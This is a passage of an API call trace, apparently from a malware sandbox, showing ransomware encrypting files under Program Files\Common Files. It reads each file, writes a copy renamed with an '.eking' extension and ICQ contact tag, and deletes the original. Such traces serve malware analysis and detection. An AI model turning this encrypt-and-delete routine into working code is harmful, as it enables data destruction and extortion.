lpNumberOfBytesWritten=0x324f8f8*=0xbef0, lpOverlapped=0x0) returned 1 [0291.039] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x102, lpOverlapped=0x0) returned 1 [0291.039] CloseHandle (hObject=0x304) returned 1 [0291.039] CloseHandle (hObject=0x308) returned 1 [0291.040] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0291.042] SetEvent (hEvent=0x2a0) returned 1 [0291.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0292.248] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=168064) returned 1 [0292.249] CloseHandle (hObject=0x304) returned 1 [0292.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0292.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0292.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0292.250] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0292.250] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0292.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x300 [0292.251] ReadFile (in: hFile=0x304, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x29080, lpOverlapped=0x0) returned 1 [0294.023] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x29090, lpOverlapped=0x0) returned 1 [0294.030] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0294.030] CloseHandle (hObject=0x304) returned 1 [0294.030] CloseHandle (hObject=0x300) returned 1 [0294.031] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0294.037] SetEvent (hEvent=0x2a0) returned 1 [0294.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.038] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=70656) returned 1 [0294.038] CloseHandle (hObject=0x300) returned 1 [0294.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0294.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0294.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.040] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=70656) returned 1 [0294.040] CloseHandle (hObject=0x300) returned 1 [0294.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0294.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0294.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.044] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=364032) returned 1 [0294.044] CloseHandle (hObject=0x300) returned 1 [0294.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0294.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0294.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.046] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=13824) returned 1 [0294.047] CloseHandle (hObject=0x300) returned 1 [0294.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0294.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0294.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.048] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=45568) returned 1 [0294.048] CloseHandle (hObject=0x300) returned 1 [0294.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0294.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0294.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.049] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=35840) returned 1 [0294.049] CloseHandle (hObject=0x300) returned 1 [0294.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0294.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0294.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.050] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=404992) returned 1 [0294.050] CloseHandle (hObject=0x300) returned 1 [0294.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0294.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0294.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.051] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=24576) returned 1 [0294.051] CloseHandle (hObject=0x300) returned 1 [0294.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0294.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0294.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.053] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=91136) returned 1 [0294.053] CloseHandle (hObject=0x300) returned 1 [0294.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0294.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0294.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.054] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=32768) returned 1 [0294.054] CloseHandle (hObject=0x300) returned 1 [0294.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0294.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0294.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.056] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=94208) returned 1 [0294.056] CloseHandle (hObject=0x300) returned 1 [0294.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0294.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0294.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.058] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=630) returned 1 [0294.058] CloseHandle (hObject=0x300) returned 1 [0294.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0294.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0294.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0294.060] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=623) returned 1 [0294.060] CloseHandle (hObject=0x300) returned 1 [0294.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0294.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0294.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.837] SetEvent (hEvent=0x2a0) returned 1 [0294.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.838] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=117248) returned 1 [0294.838] CloseHandle (hObject=0x2f0) returned 1 [0294.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0294.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0294.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.839] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=16384) returned 1 [0294.839] CloseHandle (hObject=0x2f0) returned 1 [0294.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0294.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0294.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 